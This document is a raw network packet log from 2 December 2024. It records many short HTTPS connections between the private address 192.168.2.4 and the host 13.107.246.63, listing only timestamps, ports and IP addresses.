Dec 2, 2024 17:56:28.321533918 CET	49822	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.321538925 CET	443	49822	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.434386015 CET	443	49819	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.434453964 CET	443	49819	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.434506893 CET	49819	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.434710979 CET	49819	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.434727907 CET	443	49819	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.434739113 CET	49819	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.434742928 CET	443	49819	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.437504053 CET	49824	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.437536955 CET	443	49824	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.437629938 CET	49824	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.437809944 CET	49824	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.437820911 CET	443	49824	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.474261045 CET	443	49820	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.474338055 CET	443	49820	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.474399090 CET	49820	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.474603891 CET	49820	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.474622011 CET	443	49820	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.474633932 CET	49820	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.474639893 CET	443	49820	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.478713989 CET	49825	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.478816032 CET	443	49825	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.478924990 CET	49825	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.479100943 CET	49825	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.479136944 CET	443	49825	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.657823086 CET	443	49821	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.657876968 CET	443	49821	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.657937050 CET	49821	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.658088923 CET	49821	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.658102989 CET	443	49821	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.658132076 CET	49821	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.658135891 CET	443	49821	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.661720991 CET	49826	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.661753893 CET	443	49826	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.661823988 CET	49826	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.661937952 CET	49826	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.661950111 CET	443	49826	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.909956932 CET	443	49822	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.910026073 CET	443	49822	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.910073042 CET	49822	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.910295963 CET	49822	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.910314083 CET	443	49822	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.910325050 CET	49822	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.910330057 CET	443	49822	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.913011074 CET	49827	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.913038015 CET	443	49827	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:28.913108110 CET	49827	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.913258076 CET	49827	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:28.913269997 CET	443	49827	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:29.990885019 CET	443	49823	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:29.991271019 CET	49823	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:29.991295099 CET	443	49823	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:29.991653919 CET	49823	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:29.991658926 CET	443	49823	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.282283068 CET	443	49825	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.282776117 CET	49825	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:30.282805920 CET	443	49825	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.283196926 CET	49825	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:30.283202887 CET	443	49825	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.439166069 CET	443	49823	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.439224958 CET	443	49823	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.439285040 CET	49823	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:30.439457893 CET	49823	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:30.439467907 CET	443	49823	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.439479113 CET	49823	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:30.439483881 CET	443	49823	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.442018986 CET	49828	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:30.442051888 CET	443	49828	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.442132950 CET	49828	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:30.442277908 CET	49828	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:30.442291021 CET	443	49828	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.445960045 CET	443	49826	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.446284056 CET	49826	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:30.446315050 CET	443	49826	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.446671963 CET	49826	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:30.446676970 CET	443	49826	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.752856016 CET	443	49825	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.752952099 CET	443	49825	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.753017902 CET	49825	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:30.753218889 CET	49825	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:30.753230095 CET	443	49825	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.753238916 CET	49825	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:30.753242970 CET	443	49825	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.756448030 CET	49829	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:30.756477118 CET	443	49829	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.756552935 CET	49829	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:30.756721020 CET	49829	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:30.756731033 CET	443	49829	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.759232044 CET	443	49827	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.759608030 CET	49827	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:30.759623051 CET	443	49827	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.760035992 CET	49827	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:30.760040998 CET	443	49827	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.890955925 CET	443	49826	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.891019106 CET	443	49826	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.891069889 CET	49826	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:30.891165972 CET	49826	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:30.891180038 CET	443	49826	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.891192913 CET	49826	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:30.891196966 CET	443	49826	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.893814087 CET	49830	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:30.893845081 CET	443	49830	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.893897057 CET	49830	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:30.894087076 CET	49830	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:30.894099951 CET	443	49830	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.898366928 CET	443	49824	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.898873091 CET	49824	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:30.898890018 CET	443	49824	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:30.899761915 CET	49824	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:30.899766922 CET	443	49824	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:31.233145952 CET	443	49827	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:31.233210087 CET	443	49827	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:31.233258963 CET	49827	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:31.233453035 CET	49827	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:31.233458996 CET	443	49827	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:31.233469963 CET	49827	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:31.233473063 CET	443	49827	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:31.236219883 CET	49831	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:31.236242056 CET	443	49831	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:31.236331940 CET	49831	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:31.236495972 CET	49831	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:31.236509085 CET	443	49831	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:31.344511986 CET	443	49824	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:31.344568014 CET	443	49824	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:31.344618082 CET	49824	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:31.344727993 CET	49824	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:31.344739914 CET	443	49824	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:31.344748974 CET	49824	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:31.344752073 CET	443	49824	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:31.347506046 CET	49832	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:31.347538948 CET	443	49832	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:31.347611904 CET	49832	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:31.347744942 CET	49832	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:31.347758055 CET	443	49832	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:32.247860909 CET	443	49828	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:32.248543978 CET	49828	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:32.248573065 CET	443	49828	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:32.249934912 CET	49828	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:32.249939919 CET	443	49828	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:32.446217060 CET	443	49830	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:32.446608067 CET	49830	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:32.446624041 CET	443	49830	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:32.447053909 CET	49830	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:32.447057009 CET	443	49830	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:32.473934889 CET	443	49829	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:32.474371910 CET	49829	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:32.474390984 CET	443	49829	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:32.474786043 CET	49829	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:32.474791050 CET	443	49829	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:32.691999912 CET	443	49828	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:32.692054033 CET	443	49828	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:32.692106009 CET	49828	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:32.692265034 CET	49828	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:32.692280054 CET	443	49828	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:32.692287922 CET	49828	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:32.692292929 CET	443	49828	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:32.694904089 CET	49833	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:32.694930077 CET	443	49833	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:32.695017099 CET	49833	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:32.695168972 CET	49833	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:32.695182085 CET	443	49833	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:32.884663105 CET	443	49830	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:32.884702921 CET	443	49830	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:32.884757042 CET	49830	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:32.884948969 CET	49830	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:32.884959936 CET	443	49830	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:32.884970903 CET	49830	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:32.884974957 CET	443	49830	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:32.887815952 CET	49834	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:32.887855053 CET	443	49834	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:32.887918949 CET	49834	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:32.888046026 CET	49834	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:32.888061047 CET	443	49834	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:32.911437988 CET	443	49829	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:32.911509037 CET	443	49829	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:32.911559105 CET	49829	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:32.911710978 CET	49829	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:32.911720991 CET	443	49829	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:32.911731958 CET	49829	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:32.911736965 CET	443	49829	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:32.913866043 CET	49835	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:32.913887978 CET	443	49835	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:32.913960934 CET	49835	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:32.914110899 CET	49835	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:32.914122105 CET	443	49835	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:33.016591072 CET	443	49831	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:33.017097950 CET	49831	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:33.017122030 CET	443	49831	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:33.017544031 CET	49831	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:33.017549038 CET	443	49831	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:33.070063114 CET	443	49832	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:33.070430994 CET	49832	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:33.070456028 CET	443	49832	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:33.070781946 CET	49832	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:33.070786953 CET	443	49832	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:33.467654943 CET	443	49831	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:33.467714071 CET	443	49831	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:33.467765093 CET	49831	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:33.467963934 CET	49831	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:33.467977047 CET	443	49831	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:33.467988014 CET	49831	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:33.467993021 CET	443	49831	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:33.470782042 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:33.470817089 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:33.470904112 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:33.471071959 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:33.471084118 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:33.506927013 CET	443	49832	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:33.506993055 CET	443	49832	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:33.507045031 CET	49832	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:33.507216930 CET	49832	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:33.507236004 CET	443	49832	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:33.507245064 CET	49832	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:33.507250071 CET	443	49832	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:33.509783983 CET	49837	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:33.509820938 CET	443	49837	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:33.509895086 CET	49837	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:33.510088921 CET	49837	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:33.510102987 CET	443	49837	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:34.546776056 CET	443	49833	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:34.547363043 CET	49833	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:34.547384024 CET	443	49833	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:34.548124075 CET	49833	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:34.548130035 CET	443	49833	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:34.633323908 CET	443	49835	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:34.633748055 CET	49835	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:34.633757114 CET	443	49835	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:34.634139061 CET	49835	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:34.634144068 CET	443	49835	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:34.674865007 CET	443	49834	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:34.675482035 CET	49834	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:34.675504923 CET	443	49834	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:34.676801920 CET	49834	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:34.676805973 CET	443	49834	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.064165115 CET	443	49833	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.064235926 CET	443	49833	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.064294100 CET	49833	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.064495087 CET	49833	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.064506054 CET	443	49833	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.064517021 CET	49833	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.064522982 CET	443	49833	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.068612099 CET	49838	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.068654060 CET	443	49838	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.068721056 CET	49838	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.068871975 CET	49838	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.068886042 CET	443	49838	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.121851921 CET	443	49835	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.121949911 CET	443	49835	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.122014999 CET	49835	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.122407913 CET	49835	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.122411966 CET	443	49835	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.122433901 CET	49835	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.122437000 CET	443	49835	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.124876022 CET	49839	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.124903917 CET	443	49839	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.124979973 CET	49839	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.125114918 CET	49839	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.125128031 CET	443	49839	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.131663084 CET	443	49834	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.131721973 CET	443	49834	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.131778955 CET	49834	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.131942034 CET	49834	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.131958008 CET	443	49834	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.131983042 CET	49834	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.131988049 CET	443	49834	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.134468079 CET	49840	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.134484053 CET	443	49840	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.134571075 CET	49840	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.134717941 CET	49840	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.134732962 CET	443	49840	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.321034908 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.321738958 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.321769953 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.323100090 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.323103905 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.336770058 CET	443	49837	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.337173939 CET	49837	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.337192059 CET	443	49837	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.338318110 CET	49837	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.338321924 CET	443	49837	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.779337883 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.779411077 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.779468060 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.779655933 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.779678106 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.779687881 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.779694080 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.784223080 CET	49841	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.784266949 CET	443	49841	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.784354925 CET	49841	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.784544945 CET	49841	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.784559011 CET	443	49841	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.794051886 CET	443	49837	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.794110060 CET	443	49837	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.794166088 CET	49837	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.794455051 CET	49837	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.794470072 CET	443	49837	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.794492960 CET	49837	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.794497967 CET	443	49837	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.798913956 CET	49842	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.798944950 CET	443	49842	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:35.799014091 CET	49842	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.799145937 CET	49842	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:35.799158096 CET	443	49842	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:36.856760979 CET	443	49840	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:36.857403040 CET	49840	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:36.857419968 CET	443	49840	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:36.858093023 CET	49840	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:36.858098984 CET	443	49840	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:36.910120010 CET	443	49839	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:36.910732031 CET	49839	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:36.910756111 CET	443	49839	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:36.911365032 CET	49839	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:36.911370039 CET	443	49839	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:36.918927908 CET	443	49838	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:36.919321060 CET	49838	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:36.919352055 CET	443	49838	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:36.919768095 CET	49838	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:36.919774055 CET	443	49838	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:37.293656111 CET	443	49840	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:37.293732882 CET	443	49840	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:37.293807983 CET	49840	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:37.293982029 CET	49840	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:37.294004917 CET	443	49840	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:37.294018984 CET	49840	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:37.294023991 CET	443	49840	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:37.297234058 CET	49843	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:37.297280073 CET	443	49843	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:37.297388077 CET	49843	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:37.297553062 CET	49843	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:37.297565937 CET	443	49843	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:37.362390041 CET	443	49839	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:37.362469912 CET	443	49839	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:37.362560987 CET	49839	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:37.362762928 CET	49839	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:37.362762928 CET	49839	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:56:37.362813950 CET	443	49839	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:37.362845898 CET	443	49839	13.107.246.63	192.168.2.4
Dec 2, 2024 17:56:37.365957975 CET	49844	443	192.168.2.4	13.107.246.63
